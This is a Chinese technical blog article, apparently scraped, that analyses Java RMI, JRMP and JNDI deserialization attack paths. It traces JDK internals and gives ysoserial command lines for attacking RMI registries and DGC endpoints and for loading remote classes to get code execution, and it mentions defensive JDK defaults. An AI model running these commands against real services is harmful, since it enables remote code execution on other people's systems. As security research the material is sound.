中文字幕av专区_日韩电影在线播放_精品国产精品久久一区免费式_av在线免费观看网站

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

Java中怎么遠程調用RMI

發布時間:2021-06-30 18:08:39 來源:億速云 閱讀:383 作者:Leah 欄目:網絡管理

Java中怎么遠程調用RMI,很多新手對此不是很清楚,為了幫助大家解決這個難題,下面小編將為大家詳細講解,有這方面需求的人可以來學習下,希望你能有所收獲。

JNDI

JNDI(Java Naming and Directory Interface,Java命名和目錄接口)是SUN公司提供的一種標準的Java命名系統接口,JNDI提供統一的客戶端API,通過不同的訪問提供者接口JNDI服務供應接口(SPI)的實現,由管理者將JNDI API映射為特定的命名服務和目錄系統,使得Java應用程序可以和這些命名服務和目錄服務之間進行交互。

Java中怎么遠程調用RMI

JRMP

Java遠程方法協議(英語:Java Remote Method Protocol,JRMP)是特定于Java技術的、用于查找和引用遠程對象的協議。這是運行在Java遠程方法調用(RMI)之下、TCP/IP之上的線路層協議。

RMI

Java遠程方法調用,即Java RMI(Java Remote Method Invocation)是Java編程語言里,一種用于實現遠程過程調用的應用程序編程接口。它使客戶機上運行的程序可以調用遠程服務器上的對象。遠程方法調用特性使Java編程人員能夠在網絡環境中分布操作。RMI全部的宗旨就是盡可能簡化遠程接口對象的使用。

Java中怎么遠程調用RMI

JDK關鍵版本Java中怎么遠程調用RMI

RMI攻擊向量

RMI Serialization Attack

注意:此Demo沒有版本限制,但部分邏輯會由于版本原因造成出入。

Demo

  • with JDK 1.8.0_151

  • with java-rmi-server/ rmi.RMIServer、Services、PublicKnown

  • with java-rmi-client/ rmi.RMIClient、Services、ServicesImpl、PublicKnown

PS:低版本無法在RegistryImpl_Skel下有效斷點。

分析

兩種 bind 區別

  • Server <-> RMI Registry <-> Client

server 通過 bind 注冊服務時會進行序列化傳輸服務名&Ref,因此會進入RegistryImpl_Skel.dispatch先經過反序列化獲取。

  • Server(RMI Registry) <-> Client

這種模式下,由于 server 與 Registry 是同一臺機器,在 bind 注冊時由于 server 上已有其 Ref,因此不需要序列化傳輸,只需要在 bindings list 中添加對應鍵值即可。

注冊、請求流程

RMI Registry 的核心在于 RegistryImpl_Skel。當Server執行bind、Client執行lookup時候,均會通過sun.rmi.registry.RegistryImpl_Skel#dispatch進行處理。

bind

首先注意到ServiceImpl繼承了UnicastRemoteObject,在實例化時會通過exportObject創建返回此服務的stub。

public class ServiceImpl extends UnicastRemoteObject implements Service {...}/*** Exports the specified object using the specified server ref.*/private static Remote exportObject(Remote obj, UnicastServerRef sref)throws RemoteException{// if obj extends UnicastRemoteObject, set its ref.if (obj instanceof UnicastRemoteObject) {((UnicastRemoteObject) obj).ref = sref;}return sref.exportObject(obj, null, false);}

再通過bind向RMI Registry服務器申請注冊綁定服務名&stub跟入到sun.rmi.registry.RegistryImpl_Stub#bind,注意觀察到向RMI Registry申請時,第三個參數對應 operations 里的操作。

這里尤其注意的兩個 writeObject,分別向 var3 的輸出流中寫入序列化后的服務名&stub。

Java中怎么遠程調用RMIJava中怎么遠程調用RMI

RMI Registry收到申請時會進行會通過傳入的操作值進入相關流程,0時進入bind,注意到兩次 readObject 分別反序列化獲取服務名&stub后,再向 bindings List 中寫入鍵值。

Java中怎么遠程調用RMI

這里就引出來了一個點:Server 通過向 RMI Registry 申請 bind 操作進行序列化攻擊。

lookup

再看Client向RMI Registry申請lookup 查找時候(sun.rmi.registry.RegistryImpl_Stub#lookup)傳遞的操作數為 2,且反序列化了目標服務名。

Java中怎么遠程調用RMIJava中怎么遠程調用RMI

RMI

Registry(sun.rmi.registry.RegistryImpl_Skel#dispatch)這邊同樣會先反序列化獲取查詢服務名,再從 bindings list 中進行查詢。 Java中怎么遠程調用RMI

這里就引出來了另一個點:Client 通過向 RMI Registry 申請 lookup 操作進行序列化攻擊。

但是就完了么?

我們再往下看,注意到 86 行出現的 writeObject,這里是將查詢到的stub序列化傳輸給 Client。

回到 Client 的代碼中,可以看到104 行的 readObject。

Java中怎么遠程調用RMI這里就引出來了第三個點:RMI Registry 通過 lookup 操作被動式攻擊 Client。

調用時序列化

現在我們理清了bind、lookup的部分內容,那么 client 是如何實現遠程調用呢?

通過跟進后可以看到由

java.rmi.server.RemoteObjectInvocationHandler實現的動態代理,并最終由sun.rmi.server.UnicastRef#invoke實現調用。Java中怎么遠程調用RMI

在調用中我們注意到通過marshalValue打包參數,由unmarshalValue對傳回的內容進行反序列化。Java中怎么遠程調用RMI

限制

這里的 Demo 實際情況中很難遇到,因為evil是我們根據已知的Services、PublicKnown(含已知漏洞)生成的,在攻擊時更多都是采用本地 gadget。

攻擊方向

注意到我們上面提出了三個攻擊向。

1.Server 通過向 RMI Registry 申請 bind 操作進行序列化攻擊;

2.Client 通過向 RMI Registry 申請 lookup 操作進行序列化攻擊;

3.RMI Registry 通過 lookup 操作被動式攻擊 Client。

其實注意到第一個點里提到的 Server 并不是要求一定要由目標服務器發起,比如任意一臺(包括攻擊者)均可以向注冊中心發起注冊請求進而通過 bind 在 RMI Registry 上進行攻擊,例如:

Client -- bind --> RMI Registry(Server)

同理第二點、第三點里也是,所以我們更新一下:

1.向 RMI Registry 申請 bind 操作進行序列化攻擊;

2.向 RMI Registry 申請 lookup 操作進行序列化攻擊;

3.RMI Registry通過lookup操作被動式序列化攻擊請求者。

bind - RMIRegistryExploit

  • with JDK 1.7.0_17

  • with java-rmi-server/ rmi.RMIServer2

  • with ysoserial.exploit.RMIRegistryExploit

ysoserial.exploit.RMIRegistryExploit實際對應bind攻擊方向,我們來簡單看下它的代碼。

核心在于兩點,對于第一點可以看看 cc1 分析以及Java動態代理-實戰這篇。

  • sun.reflect.annotation.AnnotationInvocationHandler動態代理Remote.class

  • bind 操作

Java中怎么遠程調用RMI

這里提一下為什么需要動態代理,是由于在sun.rmi.registry.RegistryImpl_Skel#dispatch,執行bind時會通過Remote.readObject反序列化,導致調用

AnnotationInvocationHandler.invoke。

Java中怎么遠程調用RMI

RMI Remote Object

codebase傳遞以及useCodebaseOnly

RMI有一個重要的特性是動態類加載機制,當本地CLASSPATH中無法找到相應的類時,會在指定的codebase里加載class,

需要java.rmi.server.useCodebaseOnly=false,但是這個特性是一直開啟的,直到6u45、7u21修改默認為 true 以防御攻擊。

這里引用官方文檔 Enhancements in JDK 7:

如果RMI連接一端的JVM在其java.rmi.server.codebase系統屬性中指定了一個或多個URL,則該信息將通過RMI連接傳遞到另一端。如果接收方JVM的java.rmi.server.useCodebaseOnly系統屬性設置為false,則它將嘗試使用這些URL來加載RMI請求流中引用的Java類。

從由RMI連接的遠程端指定位置加載類的行為,當被禁用

java.rmi.server.useCodebaseOnly被設定為true。在這種情況下,僅從預配置的位置(例如本地指定的

java.rmi.server.codebase屬性或本地CLASSPATH)加載類,而不從codebase通過RMI請求流傳遞的信息中加載類。

demo

Client 攻擊 Server

  • with JDK 1.7.0_17

  • with java-rmi-server/rmi.RMIServer2

  • with java-rmi-client/rmi.RMIClient2、remote.RemoteObject

若 Client 指定了 codebase 地址,Server 加載目標類時會現在本地 classpath 中進行查找,在沒有找到的情況下會通過 codebase 對指定地址再次查找。

為了能夠遠程加載目標類,需要Server加載并配置RMISecurityManager,并同時設置:

java.rmi.server.useCodebaseOnly=false

在傳輸了 codebase 之后是如何調用的呢? Java中怎么遠程調用RMI

也是由動態代理類

java.rmi.server.RemoteObjectInvocationHandler#invokeRemoteMethod實現遠程調用。

Java中怎么遠程調用RMI

Server 接收到調用指令后,進入

sun.rmi.server.MarshalInputStream#resolveClass,

由于 useCodebaseOnly 為 false,從客戶端指定地址遠程讀取目標類。

Java中怎么遠程調用RMI

全部讀取完畢后回到

java.io.ObjectInputStream#readOrdinaryObject,

調用

java.io.ObjectStreamClass#initNonProxy進行實例化。

Java中怎么遠程調用RMI

Server 攻擊 Client

  • with JDK 1.7.0_17

  • with java-rmi-server/rmi.RMIServer3、remote.RemoteObject2

  • with java-rmi-client/rmi.RMIClient3

可以對比看到,從sun.rmi.server.UnicastRef#invoke起是一致的邏輯,只是上層調用來源不一樣,不再贅述。 Java中怎么遠程調用RMI

區別攻擊方向

方法調用請求均來自 Client。

但區別的產生在于

sun.rmi.server.UnicastRef#invoke(java.rmi.Remote,java.lang.reflect.Method,java.lang.Object[], long)處的邏輯代碼。

  • line 79: Client 攻擊 Server,在于讓 Server 請求遠程 Class 產生結果,由于本地同名惡意類安全所以不會對本地造成攻擊。

  • line 89: Server 攻擊 Clinet,在于 Client 獲取到安全結果后需要獲取遠程 Class 進行本地反序列化導致被攻擊。

Java中怎么遠程調用RMI

JRMP

  • with JDK 1.7.0_80

  • with java-rmi-server/rmi.RMIServer2

看情況取舍:

上面說的RMI通信過程中假設客戶端在與RMI服務端通信中,雖然也是在JRMP協議上進行通信,嘗試傳輸序列化的惡意對象到服務端,此時服務端若也返回客戶端一個惡意序列化的對象,那么客戶端也可能被攻擊,利用JRMP就可以利用socket進行通信,客戶端直接利用JRMP協議發送數據,而不用接受服務端的返回,因此這種攻擊方式也更加安全。

這里我們針對 ysoserial 的幾個相關 Class 進行分析,首先先列舉下相關的作用。

  • payloads.JRMPListener 在目標服務器目標端口上開啟JRMP監聽服務 - 獨立利用

  • payloads.JRMPClient 向目標服務器發送注冊 Ref,目標 exploit.JRMPListener 地址

  • exploit.JMRPListener 被動向請求方傳輸序列化 payload

  • exploit.JRMPClient 主動向目標服務器傳輸序列化 payload

除此之外,我們還需要了解下關于DGC的一些內容,以便理解下面的內容。

RMI.DGC 為 RMI 分布式垃圾回收提供了類和接口。當 RMI 服務器返回一個對象到其客戶機(遠程方法的調用方)時,其跟蹤遠程對象在客戶機中的使用。當再沒有更多的對客戶機上遠程對象的引用時,或者如果引用的“租借”過期并且沒有更新,服務器將垃圾回收遠程對象。

payloads.JRMPListener

在了解之前,我們先看下JAVA原生序列化有兩種接口實現。

1.Serializable接口:要求實現writeObject、readObject、writeReplace、readResolve

2.Externalizable接口:要求實現 writeExternal、readExternal

分析

回到JRMPListener中,代碼很簡單,主要功能就是生成一個開啟目標端口進行監聽RMI服務的payload。Java中怎么遠程調用RMI

我們首先跟入到

ysoserial.payloads.util.Reflections#createWithConstructor,了解下函數邏輯。 Java中怎么遠程調用RMI

1.先查找RemoteObject下參數類型為 RemoteRef 的構造器。

2.根據找到的構造器為ActivationGroupImpl動態生成一個新的構造器并生成實例。

為什么需要這樣呢?其實就是為了避免調用ActivationGroupImpl本身的構造方法,避免復雜的或其他不可控的問題。

Java中怎么遠程調用RMI

我們關注下UnicastRemoteObject在序列化階段做了什么,從reexport跟入到exportObject,創建監聽并返回此 stub。Java中怎么遠程調用RMI

另外,通過上面的分析實際上我們只用需要UnicastRemoteObject就足夠開啟監聽利用,下面兩種也可以,但好奇為什么作者要通過子類轉換實現利用呢?

ActivationGroupImpl uro = Reflections.createWithConstructor(ActivationGroupImpl.class, RemoteObject.class, new Class[] {RemoteRef.class}, new Object[] {new UnicastServerRef(jrmpPort)});UnicastRemoteObject uro = Reflections.createWithConstructor(UnicastRemoteObject.class, RemoteObject.class, new Class[] {RemoteRef.class}, new Object[] {new UnicastServerRef(jrmpPort)});

利用

java -cp ysoserial-master.jar ysoserial.exploit.XXXXX <rmi_ip> <rmi_port> JRMPListener <new_listener_port>java -cp ysoserial-master.jar ysoserial.exploit.JRMPClient <rmi_ip> <new_listener_port> <payloads> <args[]>

payloads.JRMPClient

分析

作為 payloads 核心代碼依舊不是很多,生成 ref 并封裝到 handler,動態代理Registry類。

實際上,對于 ClassLoader 我們是可以設置為 Null,這個問題可以通過上面的資料鏈接回答。

至于為什么強轉為 Registry ?只是因為我們動態代理了這個類,集成了需要代理類的各種方法,在不調用這些方法時替換成任意 Object 子類均可。

現在我們看下代碼邏輯:

Java中怎么遠程調用RMI

當我們傳遞一個 proxy 準備序列化時,大意上同樣會對其成員進行序列化(這里不展開,需要自己看序列化),所以會調用其父類 RemoteObject.readObject()

Java中怎么遠程調用RMI

注意到最后會調用 readExternal 方法,原因已在上文提到。

Java中怎么遠程調用RMI

這里便會調用

sun.rmi.server.UnicastRef#readExternal,

之后進入

sun.rmi.transport.LiveRef#read,

但這里并不能進入到 DGCClient 注冊,但會把 ref 信息存入到

ConnectionInputStream.incomingRefTable中。

Java中怎么遠程調用RMI

在最后釋放輸入連接時,會對incomingRefTable中的 ref 進行注冊。

Java中怎么遠程調用RMI

為什么要這么做呢?java 注釋寫有,詳細內容沒有查到。

/*** Save reference in order to send "dirty" call after all args/returns* have been unmarshaled.  Save in hashtable incomingRefTable.  This* table is keyed on endpoints, and holds objects of type* IncomingRefTableEntry.*/

而在sun.rmi.transport.DGCImpl_Skel#dispatch中也是類似注釋中的流程。

Java中怎么遠程調用RMI

回到 ref 注冊,實際是會在 DGCClient 中對 refs 進行注冊。

Java中怎么遠程調用RMI

然后對傳輸過來的數據直接進行反序列化解析,這里的內容放在

exploit.JRMPListener中講解。

Java中怎么遠程調用RMI

所以整個流程分析下來,并沒有看到需要使用動態代理的地方,因此生成 payload 時直接序列化傳輸RemoteObject子類也就足夠,而原生自帶的容易控制的子類為RemoteObjectInvocationHandler,即:

Java中怎么遠程調用RMI

利用

payloads.JRMPClient 是要配合 exploit.JRMPListener 一起使用的。

java -cp ysoserial-master.jar ysoserial.exploit.JRMPListener <listener_port> <payloads> <args[]>java -cp ysoserial-master.jar ysoserial.exploit.XXXXX <rmi_ip> <rmi_port> JRMPClient <listener_ip>:<listener_port>

exploit.JRMPListener

分清兩個JRMPListener的區別

  • payloads.JRMPListener 在目標機上開啟 JMRP 監聽

  • exploit.JRMPListener 實現對 JRMP Client 請求的應答

分析

從 Main 可以看到基本邏輯就是開啟監聽 JRMP 端口等待連接后傳輸惡意 payload。

Java中怎么遠程調用RMI

在監聽時對協議進行解析,對為 StreamProtocol、SingleOpProtocol 的連接均會通過 doMessage 進行應答。

Java中怎么遠程調用RMI

而在 doMessage 中對遠程RMI調用發送 payload 數據包。

Java中怎么遠程調用RMI

那么 payload 是填充到哪里了呢?

注意到 doCall 函數中的這段代碼,和 cc5 的入口點是一樣的。

Java中怎么遠程調用RMI

但需要注意的是,BadAttributeValueExpException.readObject的觸發點不一定是 valObj.toSting(),這里在調試的時候出現了一堆莫名其妙的現象。

拋開后續的利用,我們從開始看下目標是如何向 JRMPListener 請求的。

Java中怎么遠程調用RMI

會向 DGCClient 中進行注冊 Ref,通過80請求、81應答進行傳輸,這里可以關注下調用棧,結合上面 DGC 內容進行了解。

Java中怎么遠程調用RMI

那么 80 是如何出現的呢?

看到StreamRemoteCall初始化時會直接往第一個字節寫入 80。

Java中怎么遠程調用RMI

接著目標會讀取 Listener 傳遞的值對之后的內容選擇是否進行反序列化,反序列化的內容就和上面連接起來了。

Java中怎么遠程調用RMI

額外提一下,var1在這里的意義是用來判斷Listener是否為正常返回,如果因為某些原因在 Listener 端產生了異常報錯需要將報錯信息傳遞回請求端,而傳遞的信息是序列化的所以會在請求端觸發反序列化。

利用

本身無法直接利用的,需要向目標機發送 payloads.JRMPClient 以被動攻擊。

java -cp ysoserial-master.jar ysoserial.exploit.JRMPListener <listener_port> <payloads> <args[]>

exploit.JRMPClient

分清兩個 JRMPClient 區別,以及 RMIRegistry

Exploit

  • payloads.JRMPClient 向目標DGC注冊Ref

  • exploit.JRMPClient 向目標DGC傳輸序列化 payload

  • exploit.RMIRegistryExploit 向目標RMI.Registry傳輸序列化 payload,目標為 RMI.Registry 監聽端口

下面是payloads.JRMPListener和RMI.Registry 開啟的監聽端口在nmap掃描下的不同信息:

exploit.JRMPClient 可以對兩者進行攻擊;

exploit.RMIRegistryExploit只能攻擊后者。

Java中怎么遠程調用RMI

分析

先在sun.rmi.server.UnicastServerRef#dispatch中讀取 Int 數據。

Java中怎么遠程調用RMI

然后在

sun.rmi.server.UnicastServerRef#oldDispatch中讀取 Long 數據。

Java中怎么遠程調用RMI

之后進入sun.rmi.transport.DGCImpl_Skel#dispatch,先對讀取的 Long 數據即接口 hash 值進行判斷是否為相同。

Java中怎么遠程調用RMI

再根據之前讀取的 Int 數據進行相應的處理。

Java中怎么遠程調用RMI

利用

java -cp ysoserial-master.jar ysoserial.exploit.JRMPClient <rmi_ip> <rmi_port> <payloads> <args[]>

JNDI Reference

關于 JNDI 的內容已在整篇文章開頭有涉及,此處暫時無額外需求。

demo

  • with JDK 1.7.0_17

  • with jndi\rmi.RMIClient、rmi.RMIServer

分析

我們跟進Client執行lookup后看看發生了什么。

同樣也是Client向Server請求查詢test_service對應的 stub,再執行到 com.sun.jndi.rmi.registry.RegistryContext#decodeObject中獲取目標類的 ref。

Java中怎么遠程調用RMI

之后帶入 ref 到

javax.naming.spi.NamingManager#getObjectInstance中進行遠程工廠類的加載(所以Server 端 new Reference 時的第一個 class 參數隨便寫不影響)。

Java中怎么遠程調用RMI

這樣就是在 Client 執行 lookup 操作時讓其直接加載遠程惡意類進行 RCE,不需要任何其他的 gadget。

防御

受到自6u141、7u131、8u121起默配置com.sun.jndi.rmi.object.trustURLCodebase=false,直接遠程加載會被限制,報錯信息如下:

Java中怎么遠程調用RMI

看完上述內容是否對您有幫助呢?如果還想對相關知識有進一步的了解或閱讀更多相關文章,請關注億速云行業資訊頻道,感謝您對億速云的支持。

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

衢州市| 广河县| 桂林市| 大安市| 保山市| 常山县| 神木县| 沁阳市| 囊谦县| 绍兴县| 隆子县| 大田县| 南投县| 正镶白旗| 乌兰县| 竹溪县| 南华县| 芜湖县| 江安县| 九龙坡区| 亚东县| 元朗区| 蒲城县| 盐池县| 利川市| 太谷县| 江华| 临邑县| 逊克县| 城固县| 黄石市| 北票市| 澄江县| 安乡县| 石家庄市| 苍溪县| 黄骅市| 佛冈县| 富锦市| 长宁县| 通辽市|